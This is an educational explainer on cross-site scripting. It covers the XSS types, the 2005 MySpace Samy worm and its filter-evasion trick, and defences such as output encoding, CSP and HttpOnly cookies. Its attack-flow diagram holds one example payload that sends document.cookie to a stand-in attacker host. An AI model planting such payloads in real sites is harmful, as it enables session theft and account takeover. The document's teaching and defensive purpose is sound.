Cross-Site Scripting (XSS)
1. Definition
Cross-Site Scripting (XSS) is an injection vulnerability that occurs when an application includes untrusted data in a web page without proper validation or escaping. This allows the execution of malicious scripts (usually JavaScript) in the victim’s browser, within the origin of the affected site.
It allows attackers to bypass the Same-Origin Policy (SOP) because the malicious script is served by the trusted domain itself.
2. Technical Explanation
Browsers execute JavaScript found in the DOM to enable interactivity. If an attacker can inject a <script> tag or an event handler (like onload) into the DOM, the browser cannot distinguish it from legitimate code.
There are three main types:
- Reflected XSS: Payload is delivered via the request (URL params) and reflected in the response. (Target: User clicks link).
- Stored XSS: Payload is saved to the database (comments, profiles) and served to users later. (Target: Anyone viewing the page).
- DOM XSS: The vulnerability is in client-side code modifying the DOM using unsanitized data sources (e.g.,
location.hash).
3. Attack Flow (Stored XSS)
sequenceDiagram
participant Attacker
participant Server as Web App
participant DB as Database
participant Victim
Attacker->>Server: 1. POST /comment ("<script>fetch(attacker.com?c=document.cookie)</script>")
Server->>DB: 2. Save Comment (Unsanitized)
DB-->>Server: OK
Note over Victim: Later...
Victim->>Server: 3. GET /comments
Server->>DB: Fetch Comments
DB-->>Server: Return Payload
Server-->>Victim: 4. HTML with Malicious Script
Victim->>Attacker: 5. Script Executes -> Sends Session Cookie
Note right of Victim: Account Takeover4. Real-World Case Study: The “Samy Worm” (MySpace, 2005)
Target: MySpace User Profiles. Vulnerability Class: Stored XSS.
Samy Kamkar discovered that MySpace allowed users to style their profiles with HTML but filtered out obvious tags like <script>.
The Bypass:
- Filter Evasion: MySpace blocked “javascript” in
hrefattributes, but Samy found that browsers would ignore a newline character:java\nscript. - CSS Injection: He injected the payload into a CSS background attribute:
background:url('java\nscript:...'). - Payload: The script did two things:
- Add “Samy” as a friend.
- Edit the victim’s profile to copy the malicious code itself (Self-Replication).
Impact: within 20 hours, over 1 million users were infected. MySpace had to take the entire site offline to clean the database. It is cited as the fastest-spreading virus of all time.
5. Detailed Defense Strategies
A. Context-Aware Output Encoding
Escaping must be specific to where the data is placed.
- HTML Body: Convert
&,<,>,",'to entities (<, etc.). - HTML Attributes: strictly quoted attributes.
- JavaScript Variables: Unicode escape sequences (
\u003c). - CSS/URL: Strict URL encoding.
- Tooling: Use automatic contextual escaping engines (e.g., React/Angular/Vue default behavior, or libraries like OWASP Java Encoder).
B. Content Security Policy (CSP)
A browser defense that restricts where resources can be loaded from.
Disable Inline Scripts: Block
<script>...</script>blocks.Allowlist Sources: Only allow scripts from
selfor trusted CDNs.Nonce-based CSP: Generate a random nonce per request. Only scripts with the matching nonce attribute execute.
Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic';
C. HttpOnly Cookies
Mark session cookies as HttpOnly.
- This prevents
document.cookieaccess via JavaScript. - It doesn’t stop XSS (the script can still make requests), but it prevents simple session token theft.
